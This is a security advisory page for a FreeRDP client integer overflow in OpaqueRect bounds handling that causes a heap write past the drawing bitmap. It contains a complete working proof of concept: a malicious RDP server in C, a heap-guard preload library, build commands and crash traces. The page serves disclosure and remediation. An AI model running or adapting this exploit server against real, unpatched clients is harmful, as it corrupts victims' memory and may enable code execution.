FreeRDP GDI OpaqueRect bounds overflow allows write past drawing bitmap
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- None
- Attack complexity
- Low
- Impact type
- —
- Confidentiality · integrity · availability
- None · High · Low
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-2hm9-2h5q-x525. Fix status from GitHub.
Summary
FreeRDP's client GDI code has an integer overflow in OpaqueRect bounds handling. A remote server that has completed the RDP handshake and is in CONNECTION_STATE_ACTIVE can trigger it with no user interaction and no non-default configuration, by advertising NEG_OPAQUE_RECT or NEG_PATBLT and sending ORDER_BOUNDS orders that push left and right to INT32_MAX before an OPAQUE_RECT order wraps them. The wrapped geometry passes the clipping checks, and the client writes to the heap outside its drawing bitmap at an offset the server controls. CVSS 3.1 base score 8.2 (HIGH), per the advisory.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
# FreeRDP client GDI OpaqueRect bounds integer overflow bypasses clipping and writes past the drawing bitmap ## Summary A remote server that has completed the RDP handshake and is in CONNECTION_STATE_ACTIVE can trigger this issue. The server sets NEG_OPAQUE_RECT or NEG_PATBLT in its Order capability, and capabilities.c adopts the peer's orderSupport directly, so no user interaction and no non-default configuration are required. Before the trigger the server sends about 1.69e7 ORDER_BOUNDS orders, each advancing `left` and `right` by 127, to raise both coordinates to INT32_MAX, then one OPAQUE_RECT order carrying BOUND_DELTA_LEFT to complete the wrap and the out-of-bounds write, for roughly 2e8 bytes of traffic in total. What fails is that the client performs a heap write outside its drawing bitmap buffer, at an offset the server controls and with a length determined by `nWidth`. The behavior was checked on the latest commit. ## Technical Details The missing check is any range validation while the persistent drawing-order bounds are accumulated, and the checks that should reject the resulting geometry do not. When ORDER_BOUNDS is set, `update_recv_primary_order` (libfreerdp/core/orders.c:3909-3924) first calls `update_read_bounds` to accumulate `orderInfo->bounds` and then calls `update->SetBounds` (`gdi_set_bounds`) before reading this order's own fields. `update_read_bounds` (libfreerdp/core/orders.c:3648-3690) reads BOUND_DELTA_LEFT and BOUND_DELTA_RIGHT as one-byte INT8 values and accumulates them into the persistent `orderInfo->bounds`; the read path applies no range clamping. `gdi_set_bounds` (libfreerdp/gdi/gdi.c:568-569) then computes `right-left+1` and `bottom-top+1` with INT32 arithmetic. When `left` wraps to INT32_MIN while `right` is INT32_MAX, the width wraps to 0 and the height stays 1. `gdi_SetRgn` (libfreerdp/gdi/region.c:503-517) rejects only negative width or height, so the wrapped width of 0 is accepted, written into `hdc->clip`, and `null` is set false; the missing range check makes this control ineffective against the overflowed result. `gdi_RgnToRect` (libfreerdp/gdi/region.c:293-315) computes `r` as `x+w-1` in INT64, which exceeds INT32 and returns FALSE, but the caller treats that FALSE as a signal to skip clipping rather than to reject drawing, so this control is also ineffective. In the non-empty-clip branch of `gdi_ClipCoords` (libfreerdp/gdi/clipping.c:100-124), a FALSE from `gdi_RgnToRect` leads to `return TRUE` without modifying `x`, `y`, `w`, or `h`, so clipping is skipped entirely and the column-width clamp has no effect. On the same order, `gdi_opaque_rect` (libfreerdp/gdi/gdi.c:719-751) obtains a valid rect from `gdi_CRgnToRect` and calls `gdi_FillRect`. In the SOLID branch of `gdi_FillRect` (libfreerdp/gdi/shape.c:172-178), only each row's start is validated with `gdi_get_bitmap_pointer`, after which `memcpy` copies `nWidth` times the bytes per pixel; when `nWidth` exceeds the bitmap width, the copy writes past the end of the drawing bitmap buffer. ## Impact The consequence is a heap write outside the client's drawing bitmap buffer, at an offset the server controls and with a length determined by `nWidth`; this is cross-boundary memory corruption that can develop into code execution. The same INT32 add/sub overflow is signed undefined behavior and fails directly in builds that enable UBSan. The affected asset is the client process memory integrity. ## Proof of Concept <details> <summary>Show the proof of concept</summary> This was reproduced on commit `651ab269524adbda4d673efa60d2e391ef7555a7`. The run is driven by the entrypoint script below, which builds the two sources, starts the crafted server, and starts the unmodified client. ```bash bash ./reproduce.sh ``` The underlying steps are: ```bash # build the checkout with the server component, producing the install tree cmake -S . -B build -DWITH_SERVER=ON -DCMAKE_BUILD_TYPE=Debug && cmake --build build --target install # server certificate/key and the two PoC binaries openssl req -x509 -newkey rsa:2048 -nodes -keyout evil.key -out evil.crt -days 365 -subj "/CN=evil" cc -O0 evil_server.c -o evil_server -lfreerdp-server3 -lfreerdp3 -lwinpr3 cc -shared -fPIC -O0 guard_alloc.c -o guard_alloc.so -ldl -lpthread # crafted server, then the unmodified client under the heap oracle ./evil_server evil.crt evil.key 13389 8192 768 16909320 & LD_PRELOAD=./guard_alloc.so install/bin/sfreerdp /v:127.0.0.1:13389 /cert:ignore /size:1024x768 ``` The server uses the public server API, RDP security, and reaches CONNECTION_STATE_ACTIVE; it then writes self-constructed Fast-Path ORDER_BOUNDS/OPAQUE_RECT PDUs (secPacketFlags = 0, plaintext) directly to the socket. A first batch of 16,909,320 orders with BOUND_DELTA_LEFT|BOUND_DELTA_RIGHT (+127/+127) raises `bounds.left`/`bounds.right` to INT32_MAX, then one BOUND_DELTA_LEFT (+1) wraps `left` to INT32_MIN, and the OPAQUE_RECT body of the same order (`nLeftRect=0`, `nTopRect=766`, `nWidth=2048`, `nHeight=2`) reaches `gdi_FillRect`. The prepared build's sanitizer instrumentation is not active (its shared objects contain no sanitizer symbols and `gdi/shape.c` is compiled without `-fsanitize=address`), so the run loads `guard_alloc.c` as a heap oracle via `LD_PRELOAD`. The oracle changes only heap layout and adds a PROT_NONE guard page after allocations of 256 KiB or more, turning the same out-of-bounds write into a deterministic fault in the otherwise unmodified client and library; it does not modify the tested code path. Without the oracle the same write silently corrupts an adjacent mapping and the process does not crash. Observed output: ```text [evil-server] listening on 127.0.0.1:13389 [evil-server] client connected [evil-server] initialized, driving handshake [evil-server] session ACTIVE, injecting crafted orders [evil-server] accumulated 16000000 orders [evil-server] bounds now left=INT32_MAX right=INT32_MAX [evil-server] trigger order sent (failed=0) [evil-server] done injecting ``` The client's per-pixel loop emitted 1024 messages for row y=766, up to x = nWidth-1 = 2047, showing that `gdi_ClipCoords` applied no coordinate or width clamp: ```text gdi_get_bitmap_pointer: requesting invalid pointer ... in 1024x768 ``` The process then faulted; the faulting address equals the guard page address, the fault is in `memcpy`, and the call chain is `gdi_FillRect`: ```text GUARD_FAULT sig=11 fault_addr=0x7f298796b000 rip=0x7f2994367b89 guarded_allocation=0x7f298766a000 usesize=3145768 guard_page=0x7f298796b000 BACKTRACE_BEGIN /work/guard_alloc.so(+0x1ae0) /lib/x86_64-linux-gnu/libc.so.6(+0x43090) /lib/x86_64-linux-gnu/libc.so.6(+0x18bb89) /work/build/source/install/lib/libfreerdp3.so.3(gdi_FillRect+0x26e) /work/build/source/install/lib/libfreerdp3.so.3(+0x13d846) /work/build/source/install/lib/libfreerdp3.so.3(+0x1bfa8c) /work/build/source/install/lib/libfreerdp3.so.3(+0x1bd95c) /work/build/source/install/lib/libfreerdp3.so.3(+0x215979) /work/build/source/install/lib/libfreerdp3.so.3(+0x215835) /work/build/source/install/lib/libfreerdp3.so.3(+0x21502e) /work/build/source/install/lib/libfreerdp3.so.3(+0x2123ab) /work/build/source/install/lib/libfreerdp3.so.3(+0x212040) /work/build/source/install/lib/libfreerdp3.so.3(+0x2087a8) /work/build/source/install/lib/libfreerdp3.so.3(+0x207e17) /work/build/source/install/lib/libfreerdp3.so.3(+0x20564d) /work/build/source/install/lib/libfreerdp3.so.3(+0x2048ed) /work/build/source/install/lib/libfreerdp3.so.3(+0x21cc06) /work/build/source/install/lib/libfreerdp3.so.3(+0x205be5) /work/build/source/install/lib/libfreerdp3.so.3(freerdp_check_fds+0x7c) /work/build/source/install/lib/libfreerdp3.so.3(freerdp_check_event_handles+0x44) /work/build/source/install/bin/sfreerdp(+0x299e) /work/build/source/install/bin/sfreerdp(+0x2643) /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf3) /work/build/source/install/bin/sfreerdp(+0x229e) BACKTRACE_END ``` `addr2line` resolves these to `memcpy` at libc+0x18bb89, then `gdi_opaque_rect` (+0x13d846), `update_recv_primary_order` (+0x1bfa8c), `update_recv_order` (+0x1bd95c), `fastpath_recv_orders` (+0x215979), `fastpath_recv_update_paint_block` (+0x215835), `fastpath_recv_update` (+0x21502e), `fastpath_recv_update_data` (+0x2123ab), `fastpath_recv_updates` (+0x212040), `rdp_recv_fastpath_pdu` (+0x2087a8), `rdp_recv_pdu` (+0x207e17), `rdp_recv_callback_int` (+0x20564d), `rdp_recv_callback` (+0x2048ed), `transport_check_fds` (+0x21cc06), and `rdp_check_fds` (+0x205be5). Because the source read range is constructed to end exactly at the bitmap's last row and the overflow is within a row, the access is the target-row write (an out-of-bounds write) rather than a source read. The run terminated as: ```text REPRO_RESULT: reproduced ``` with exit code 0. PoC source `evil_server.c`: ```c /* * Malicious RDP server PoC * * Uses the public FreeRDP server API (freerdp_peer) to drive a real RDP client * (sfreerdp / xfreerdp) through the complete connection sequence up to ACTIVE, * then injects crafted Fast-Path "Primary Drawing Order" PDUs directly onto the * accepted TCP socket. * * The crafted orders abuse the unchecked INT8 delta accumulation of * orderInfo->bounds (update_read_bounds -> update_read_coord) to raise both * BOUND_DELTA_LEFT/BOUND_DELTA_RIGHT up to INT32_MAX and then wrap `left` to * INT32_MIN in a final ORDER_BOUNDS order. gdi_set_bounds() computes * width = right - left + 1 with 32-bit arithmetic -> 0, which gdi_SetRgn() * accepts (width >= 0), while gdi_RgnToRect() then fails on x + w - 1 < INT32_MIN. * gdi_ClipCoords() treats that failure as "nothing to clip" and returns TRUE * without clamping, so the OPAQUE_RECT body of the very same order is filled by * gdi_FillRect() with an unchecked nWidth, producing a heap out-of-bounds write * past the GDI drawing bitmap. * * This program is the attacker (the untrusted remote RDP server). The victim is * the unmodified client binary. */ #include <freerdp/freerdp.h> #include <freerdp/peer.h> #include <freerdp/settings.h> #include <freerdp/constants.h> #include <freerdp/crypto/certificate.h> #include <freerdp/crypto/privatekey.h> #include <winpr/ssl.h> #include <winpr/wlog.h> #include <arpa/inet.h> #include <errno.h> #include <fcntl.h> #include <netinet/in.h> #include <poll.h> #include <signal.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <unistd.h> /* ---- wire constants (libfreerdp/core/orders.h) ---- */ #define ORDER_STANDARD 0x01 #define ORDER_BOUNDS 0x04 #define ORDER_TYPE_CHANGE 0x08 #define ORDER_DELTA_COORDINATES 0x10 #define BOUND_DELTA_LEFT 0x10 #define BOUND_DELTA_RIGHT 0x40 #define ORDER_TYPE_OPAQUE_RECT 0x0A #define BOUND_DELTA_STEP 127 /* INT8 max */ #define FP_MAX_PACKET_SIZE 0x3FFF /* PDU = fpHeader(3) + updateHeader(1) + updateSize(2) + numberOrders(2) + orders */ #define FP_OVERHEAD (3 + 1 + 2 + 2) #define FP_MAX_ORDER_BYTES (FP_MAX_PACKET_SIZE - FP_OVERHEAD) typedef struct { rdpContext _p; } EvilContext; static volatile sig_atomic_t g_post_connect = 0; static BOOL evil_post_connect(freerdp_peer* peer) { (void)peer; g_post_connect = 1; return TRUE; } static BOOL evil_activate(freerdp_peer* peer) { (void)peer; return TRUE; } static BOOL evil_context_new(freerdp_peer* peer, rdpContext* context) { (void)peer; (void)context; return TRUE; } static void evil_context_free(freerdp_peer* peer, rdpContext* context) { (void)peer; (void)context; } static void put_u16le(unsigned char* p, unsigned v) { p[0] = (unsigned char)(v & 0xff); p[1] = (unsigned char)((v >> 8) & 0xff); } /* write() that retries on EINTR/short writes; socket left blocking */ static int write_full(int fd, const unsigned char* buf, size_t len) { size_t off = 0; while (off < len) { ssize_t n = write(fd, buf + off, len - off); if (n < 0) { if (errno == EINTR) continue; if (errno == EAGAIN || errno == EWOULDBLOCK) { struct pollfd pfd; pfd.fd = fd; pfd.events = POLLOUT; pfd.revents = 0; if (poll(&pfd, 1, 5000) <= 0) return -1; continue; } return -1; } if (n == 0) return -1; off += (size_t)n; } return 0; } /* Streaming Fast-Path "Orders Update" PDU writer. * One PDU: fpHeader(3) | updateHeader(1) | size(2) | numberOrders(2) | orders */ typedef struct { int fd; unsigned char buf[FP_MAX_PACKET_SIZE + 16]; size_t orders_bytes; /* bytes of orders collected so far */ uint16_t number_orders; int failed; } PduWriter; static void pdu_flush(PduWriter* w) { if (w->failed || (w->number_orders == 0)) { w->orders_bytes = 0; w->number_orders = 0; return; } const size_t payload = 2 + w->orders_bytes; /* numberOrders + orders */ const size_t len = 3 + 1 + 2 + payload; /* fpHeader + updateHeader + size + payload */ unsigned char hdr[8]; hdr[0] = 0x00; /* action = FASTPATH_ACTION_FASTPATH, secFlags = 0 (plaintext) */ hdr[1] = (unsigned char)(0x80 | ((len >> 8) & 0x7F)); hdr[2] = (unsigned char)(len & 0xFF); hdr[3] = 0x00; /* updateCode = ORDERS, fragmentation = SINGLE, no compression */ put_u16le(&hdr[4], (unsigned)(uint16_t)payload); if (write_full(w->fd, hdr, 6) != 0) w->failed = 1; else { unsigned char no[2]; put_u16le(no, w->number_orders); if (write_full(w->fd, no, 2) != 0) w->failed = 1; else if (write_full(w->fd, w->buf, w->orders_bytes) != 0) w->failed = 1; } w->orders_bytes = 0; w->number_orders = 0; } static void pdu_add_order(PduWriter* w, const unsigned char* order, size_t n) { if (w->failed) return; if (w->orders_bytes + n > FP_MAX_ORDER_BYTES) pdu_flush(w); if (w->orders_bytes + n > FP_MAX_ORDER_BYTES) { w->failed = 1; return; } memcpy(w->buf + w->orders_bytes, order, n); w->orders_bytes += n; w->number_orders++; } /* ORDER_BOUNDS accumulator order: advances left and right by the same delta. * byte layout: controlFlags | fieldFlags(0) | boundsFlags | deltaL | deltaR */ static void add_accum_order(PduWriter* w, int first, int8_t dleft, int8_t dright) { unsigned char o[6]; size_t n = 0; o[n++] = (unsigned char)(ORDER_STANDARD | ORDER_BOUNDS | (first ? ORDER_TYPE_CHANGE : 0x00)); if (first) o[n++] = ORDER_TYPE_OPAQUE_RECT; o[n++] = 0x00; /* fieldFlags: no OPAQUE_RECT fields -> empty/invisible rect */ o[n++] = (unsigned char)(BOUND_DELTA_LEFT | BOUND_DELTA_RIGHT); o[n++] = (unsigned char)(uint8_t)dleft; o[n++] = (unsigned char)(uint8_t)dright; pdu_add_order(w, o, n); } /* Final order: ORDER_BOUNDS wraps `left` (INT32_MAX + 1 -> INT32_MIN) while * `right` stays INT32_MAX, then the OPAQUE_RECT body paints a rectangle wider * than the drawing bitmap. */ static void add_trigger_order(PduWriter* w, int16_t top, int16_t width, int16_t height) { unsigned char o[16]; size_t n = 0; o[n++] = (unsigned char)(ORDER_STANDARD | ORDER_BOUNDS); o[n++] = 0x0F; /* fieldFlags: ORDER_FIELD_01..04 present */ o[n++] = (unsigned char)BOUND_DELTA_LEFT; o[n++] = 0x01; /* left += 1 -> INT32_MAX + 1 = INT32_MIN */ put_u16le(o + n, 0); /* nLeftRect = 0 */ n += 2; put_u16le(o + n, (unsigned)(uint16_t)top); /* nTopRect = H - 2 */ n += 2; put_u16le(o + n, (unsigned)(uint16_t)width); /* nWidth = 16383 */ n += 2; put_u16le(o + n, (unsigned)(uint16_t)height); /* nHeight = 2 */ n += 2; pdu_add_order(w, o, n); } static void inject_orders(int fd, unsigned order_count) { PduWriter w; memset(&w, 0, sizeof(w)); w.fd = fd; /* Bitmap is DesktopWidth x DesktopHeight (1024x768 here). * width = 2*1024 keeps the source read inside the bitmap (it ends exactly * at the last row) while forcing the destination write of row H-1 past the * end of the buffer. */ const int16_t width = 2048; const int16_t height = 2; const int16_t top = 768 - 2; /* first order switches the persistent orderType to OPAQUE_RECT */ add_accum_order(&w, 1, BOUND_DELTA_STEP, BOUND_DELTA_STEP); unsigned sent = 1; unsigned long long progress = 0; while ((sent < order_count) && !w.failed) { add_accum_order(&w, 0, BOUND_DELTA_STEP, BOUND_DELTA_STEP); sent++; progress++; if ((progress % 1000000ULL) == 0) { fprintf(stderr, "[evil-server] accumulated %llu orders\n", progress); fflush(stderr); } } /* Advance the remaining 7 to reach exactly INT32_MAX for both coords. */ if (!w.failed) add_accum_order(&w, 0, 7, 7); if (!w.failed) { pdu_flush(&w); fprintf(stderr, "[evil-server] bounds now left=INT32_MAX right=INT32_MAX\n"); add_trigger_order(&w, top, width, height); pdu_flush(&w); fprintf(stderr, "[evil-server] trigger order sent (failed=%d)\n", w.failed); } fflush(stderr); pdu_flush(&w); } static int setup_listen(uint16_t port) { int fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) return -1; int one = 1; setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in addr; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); addr.sin_port = htons(port); if (bind(fd, (struct sockaddr*)&addr, sizeof(addr)) != 0) { perror("bind"); close(fd); return -1; } if (listen(fd, 1) != 0) { perror("listen"); close(fd); return -1; } return fd; } int main(int argc, char* argv[]) { const char* cert = (argc > 1) ? argv[1] : "/tmp/evil.crt"; const char* key = (argc > 2) ? argv[2] : "/tmp/evil.key"; uint16_t port = (argc > 3) ? (uint16_t)atoi(argv[3]) : 13389; unsigned desktop_width = (argc > 4) ? (unsigned)atoi(argv[4]) : 8192; unsigned desktop_height = (argc > 5) ? (unsigned)atoi(argv[5]) : 768; unsigned long long acc_count = (argc > 6) ? strtoull(argv[6], NULL, 0) : 16909320ULL; signal(SIGPIPE, SIG_IGN); if (!WLog_SetLogLevel(WLog_GetRoot(), WLOG_WARN)) fprintf(stderr, "[evil-server] WLog_SetLogLevel failed\n"); (void)winpr_InitializeSSL(WINPR_SSL_INIT_DEFAULT); int lfd = setup_listen(port); if (lfd < 0) return 2; fprintf(stderr, "[evil-server] listening on 127.0.0.1:%u\n", port); fflush(stderr); int fd = accept(lfd, NULL, NULL); if (fd < 0) { perror("accept"); return 2; } close(lfd); fprintf(stderr, "[evil-server] client connected\n"); fflush(stderr); freerdp_peer* peer = freerdp_peer_new(fd); if (!peer) return 2; peer->ContextSize = sizeof(EvilContext); peer->ContextNew = evil_context_new; peer->ContextFree = evil_context_free; if (!freerdp_peer_context_new(peer)) { fprintf(stderr, "[evil-server] freerdp_peer_context_new failed\n"); return 2; } rdpSettings* settings = peer->context->settings; if (!settings) return 2; { rdpPrivateKey* pk = freerdp_key_new_from_file(key); if (!pk) { fprintf(stderr, "[evil-server] cannot load key %s\n", key); return 2; } if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerRsaKey, pk, 1)) return 2; } { rdpCertificate* crt = freerdp_certificate_new_from_file(cert); if (!crt) { fprintf(stderr, "[evil-server] cannot load cert %s\n", cert); return 2; } if (!freerdp_settings_set_pointer_len(settings, FreeRDP_RdpServerCertificate, crt, 1)) return 2; } /* Plain RDP security, no TLS/NLA so the accepted fd is the raw TCP socket */ if (!freerdp_settings_set_bool(settings, FreeRDP_RdpSecurity, TRUE)) return 2; if (!freerdp_settings_set_bool(settings, FreeRDP_TlsSecurity, FALSE)) return 2; if (!freerdp_settings_set_bool(settings, FreeRDP_NlaSecurity, FALSE)) return 2; if (!freerdp_settings_set_bool(settings, FreeRDP_ExtSecurity, FALSE)) return 2; if (!freerdp_settings_set_bool(settings, FreeRDP_RdstlsSecurity, FALSE)) return 2; if (!freerdp_settings_set_uint32(settings, FreeRDP_EncryptionLevel, ENCRYPTION_LEVEL_CLIENT_COMPATIBLE)) return 2; if (!freerdp_settings_set_bool(settings, FreeRDP_SupportGraphicsPipeline, FALSE)) return 2; if (!freerdp_settings_set_uint32(settings, FreeRDP_DesktopWidth, desktop_width)) return 2; if (!freerdp_settings_set_uint32(settings, FreeRDP_DesktopHeight, desktop_height)) return 2; if (!freerdp_settings_set_uint32(settings, FreeRDP_ColorDepth, 32)) return 2; if (!freerdp_settings_set_uint32(settings, FreeRDP_MultifragMaxRequestSize, 0xFFFFFF)) return 2; peer->PostConnect = evil_post_connect; peer->Activate = evil_activate; if (!peer->Initialize(peer)) { fprintf(stderr, "[evil-server] Initialize failed\n"); return 2; } fprintf(stderr, "[evil-server] initialized, driving handshake\n"); fflush(stderr); /* Drive the real server connection state machine to ACTIVE. */ for (int i = 0; i < 200000 && !g_post_connect; i++) { struct pollfd pfd; pfd.fd = fd; pfd.events = POLLIN; pfd.revents = 0; int pr = poll(&pfd, 1, 5000); if (pr < 0) { if (errno == EINTR) continue; break; } if (pr == 0) { fprintf(stderr, "[evil-server] handshake timeout\n"); break; } if (!peer->CheckFileDescriptor(peer)) { fprintf(stderr, "[evil-server] CheckFileDescriptor failed during handshake\n"); return 3; } } if (!g_post_connect) { fprintf(stderr, "[evil-server] never reached PostConnect (ACTIVE)\n"); return 3; } fprintf(stderr, "[evil-server] session ACTIVE, injecting crafted orders\n"); fflush(stderr); /* Give the client time to finish freerdp_connect_begin()/gdi_init() and * enter its main loop. */ usleep(2000 * 1000); /* Direct writes bypass the library transport; the injected PDUs carry * secFlags=0 so the client parses them verbatim. */ int fl = fcntl(fd, F_GETFL, 0); if (fl >= 0) (void)fcntl(fd, F_SETFL, fl & ~O_NONBLOCK); inject_orders(fd, (unsigned)acc_count); fprintf(stderr, "[evil-server] done injecting\n"); fflush(stderr); /* Keep the socket open so the client can process everything. */ for (int i = 0; i < 200; i++) { struct pollfd pfd; pfd.fd = fd; pfd.events = POLLIN | POLLHUP | POLLERR; pfd.revents = 0; if (poll(&pfd, 1, 100) > 0) { if (pfd.revents & (POLLHUP | POLLERR)) break; char drain[4096]; while (read(fd, drain, sizeof(drain)) > 0) ; } } freerdp_peer_context_free(peer); freerdp_peer_free(peer); return 0; } ``` PoC source `guard_alloc.c`: ```c /* * guard_alloc.c - minimal Electric-Fence style heap oracle, used because the * prepared build has no working AddressSanitizer. * * It interposes the allocator so that any allocation >= GUARD_THRESHOLD is * served from its own mmap() region terminated by a PROT_NONE guard page. A * heap buffer overflow that walks past such a region therefore faults * deterministically inside the real victim process (the unmodified sfreerdp * binary running the unmodified libfreerdp), instead of silently corrupting an * adjacent mapping. * * A SIGSEGV handler reports the faulting address and which guarded allocation * owns it, then exits non-zero. * * This changes only the heap layout/policy, not the vulnerable code path. */ #define _GNU_SOURCE #include <dlfcn.h> #include <execinfo.h> #include <pthread.h> #include <signal.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <sys/mman.h> #include <ucontext.h> #include <unistd.h> extern void* __libc_malloc(size_t); extern void __libc_free(void*); extern void* __libc_calloc(size_t, size_t); extern void* __libc_realloc(void*, size_t); extern void* __libc_memalign(size_t, size_t); #define GUARD_THRESHOLD (256u * 1024u) #define PAGE_SIZE_ (4096u) #define MAX_ENTRIES (32768u) typedef struct { void* ptr; void* base; size_t size; /* requested usable size */ size_t total; /* mmap length including guard page */ int used; } guard_entry; static guard_entry g_entries[MAX_ENTRIES]; static pthread_mutex_t g_lock = PTHREAD_MUTEX_INITIALIZER; static void register_entry(void* ptr, void* base, size_t size, size_t total) { pthread_mutex_lock(&g_lock); for (size_t i = 0; i < MAX_ENTRIES; i++) { if (!g_entries[i].used) { g_entries[i].used = 1; g_entries[i].ptr = ptr; g_entries[i].base = base; g_entries[i].size = size; g_entries[i].total = total; break; } } pthread_mutex_unlock(&g_lock); } static int find_entry(const void* ptr, guard_entry* out, size_t* index) { for (size_t i = 0; i < MAX_ENTRIES; i++) { if (g_entries[i].used && (g_entries[i].ptr == ptr)) { if (out) *out = g_entries[i]; if (index) *index = i; return 1; } } return 0; } /* returns a page aligned region [base, base+data_len) followed by a PROT_NONE page */ static void* guarded_alloc(size_t size, size_t align) { if (align > PAGE_SIZE_) return NULL; /* cannot honour, caller must fall back */ if (size == 0) size = 1; size_t data_len = ((size + PAGE_SIZE_ - 1) / PAGE_SIZE_) * PAGE_SIZE_; size_t total = data_len + PAGE_SIZE_; void* base = mmap(NULL, total, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (base == MAP_FAILED) return NULL; if (mprotect((char*)base + data_len, PAGE_SIZE_, PROT_NONE) != 0) { munmap(base, total); return NULL; } register_entry(base, base, size, total); return base; } static void* try_guarded(size_t size, size_t align) { if (size < GUARD_THRESHOLD) return NULL; return guarded_alloc(size, align); } void* malloc(size_t size) { void* p = try_guarded(size, 16); if (p) return p; return __libc_malloc(size); } void* calloc(size_t nmemb, size_t size) { if ((nmemb != 0) && (size > (SIZE_MAX / nmemb))) return NULL; const size_t total = nmemb * size; void* p = try_guarded(total, 16); if (p) return p; /* mmap is zero filled */ return __libc_calloc(nmemb, size); } void free(void* ptr) { if (!ptr) return; pthread_mutex_lock(&g_lock); guard_entry e; size_t idx = 0; if (find_entry(ptr, &e, &idx)) { g_entries[idx].used = 0; pthread_mutex_unlock(&g_lock); munmap(e.base, e.total); return; } pthread_mutex_unlock(&g_lock); __libc_free(ptr); } void* realloc(void* ptr, size_t size) { if (!ptr) return malloc(size); pthread_mutex_lock(&g_lock); guard_entry e; size_t idx = 0; int owned = find_entry(ptr, &e, &idx); if (owned) g_entries[idx].used = 0; pthread_mutex_unlock(&g_lock); if (owned) { if (size == 0) { munmap(e.base, e.total); return NULL; } void* np = try_guarded(size, 16); if (!np) np = __libc_malloc(size); if (np) { const size_t copy = (e.size < size) ? e.size : size; memcpy(np, ptr, copy); } munmap(e.base, e.total); return np; } return __libc_realloc(ptr, size); } void* aligned_alloc(size_t alignment, size_t size) { void* p = try_guarded(size, alignment); if (p) return p; return __libc_memalign(alignment, size); } int posix_memalign(void** memptr, size_t alignment, size_t size) { if (!memptr) return 22 /*EINVAL*/; void* p = try_guarded(size, alignment); if (!p) p = __libc_memalign(alignment, size); if (!p) return 12 /*ENOMEM*/; *memptr = p; return 0; } void* memalign(size_t alignment, size_t size) { void* p = try_guarded(size, alignment); if (p) return p; return __libc_memalign(alignment, size); } static void segv_handler(int sig, siginfo_t* info, void* uctx) { char buf[320]; int n = 0; const uintptr_t addr = (uintptr_t)info->si_addr; const uintptr_t rip = (uctx) ? (uintptr_t)((ucontext_t*)uctx)->uc_mcontext.gregs[REG_RIP] : 0; /* Best effort scan without taking g_lock: the fault may happen while the * allocator lock is held by another thread. */ for (size_t i = 0; i < MAX_ENTRIES; i++) { if (!g_entries[i].used) continue; uintptr_t guard = (uintptr_t)((char*)g_entries[i].base + (g_entries[i].total - PAGE_SIZE_)); if ((addr >= guard) && (addr < guard + PAGE_SIZE_)) { n = snprintf(buf, sizeof(buf), "GUARD_FAULT sig=%d fault_addr=%p rip=%p guarded_allocation=%p usesize=%zu " "guard_page=%p\n", sig, (void*)addr, (void*)rip, g_entries[i].base, g_entries[i].size, (void*)guard); (void)write(2, buf, (size_t)n); break; } } if (n == 0) { n = snprintf(buf, sizeof(buf), "SEGV addr=%p rip=%p (no guarded allocation match)\n", (void*)addr, (void*)rip); (void)write(2, buf, (size_t)n); } { void* bt[48]; const int frames = backtrace(bt, 48); (void)write(2, "BACKTRACE_BEGIN\n", 16); backtrace_symbols_fd(bt, frames, 2); (void)write(2, "BACKTRACE_END\n", 14); } _exit(139); } /* ---- keep our own SIGSEGV/SIGBUS handler: the victim installs its own fatal * signal handler later, which would otherwise swallow the guard fault report. * We let all other signals pass through. ---- */ static int (*g_real_sigaction)(int, const struct sigaction*, struct sigaction*); typedef void (*guard_sighandler)(int); static guard_sighandler (*g_real_signal)(int, guard_sighandler); int sigaction(int signum, const struct sigaction* act, struct sigaction* oldact) { if ((signum == SIGSEGV) || (signum == SIGBUS)) { if (oldact) memset(oldact, 0, sizeof(*oldact)); return 0; /* pretend success, keep guard handler */ } if (!g_real_sigaction) g_real_sigaction = (int (*)(int, const struct sigaction*, struct sigaction*))dlsym( RTLD_NEXT, "sigaction"); if (!g_real_sigaction) return -1; return g_real_sigaction(signum, act, oldact); } void (*signal(int signum, void (*handler)(int)))(int) { if ((signum == SIGSEGV) || (signum == SIGBUS)) return SIG_DFL; if (!g_real_signal) g_real_signal = (guard_sighandler(*)(int, guard_sighandler))dlsym(RTLD_NEXT, "signal"); if (!g_real_signal) return SIG_ERR; return g_real_signal(signum, handler); } __attribute__((constructor)) static void guard_init(void) { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = segv_handler; sa.sa_flags = SA_SIGINFO; g_real_sigaction = (int (*)(int, const struct sigaction*, struct sigaction*))dlsym(RTLD_NEXT, "sigaction"); g_real_signal = (guard_sighandler(*)(int, guard_sighandler))dlsym(RTLD_NEXT, "signal"); if (g_real_sigaction) { g_real_sigaction(SIGSEGV, &sa, NULL); g_real_sigaction(SIGBUS, &sa, NULL); } } ``` PoC result file `repro_result.txt`: ```text REPRO_RESULT: reproduced ``` </details> ## Suggested Fix The check to add is range validation while the persistent drawing-order bounds are accumulated: `update_read_bounds` should reject, or clamp, a BOUND_DELTA_LEFT/BOUND_DELTA_RIGHT update that would carry `orderInfo->bounds` outside the drawing-bounds range, so that `left`, `right`, `top`, and `bottom` cannot wrap across INT32 before `gdi_set_bounds` turns them into a width of 0. The check to correct is the clipping acceptance: in the non-empty-clip branch of `gdi_ClipCoords`, a `gdi_RgnToRect` failure caused by the `x+w-1` overflow must reject the rectangle instead of returning TRUE and leaving `x`, `y`, `w`, and `h` unclamped, and `gdi_SetRgn` must reject geometry outside the representable drawing-bounds range rather than accepting the wrapped width of 0.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | FreeRDP (c) | <= 3.32.2 | 3.33.0 | Patch available | GHSA-2hm9-2h5q-x525 |
- FreeRDP (c) Vendor— Affected <= 3.32.2 Fixed in 3.33.0 Patch available GHSA-2hm9-2h5q-x525
Remediation
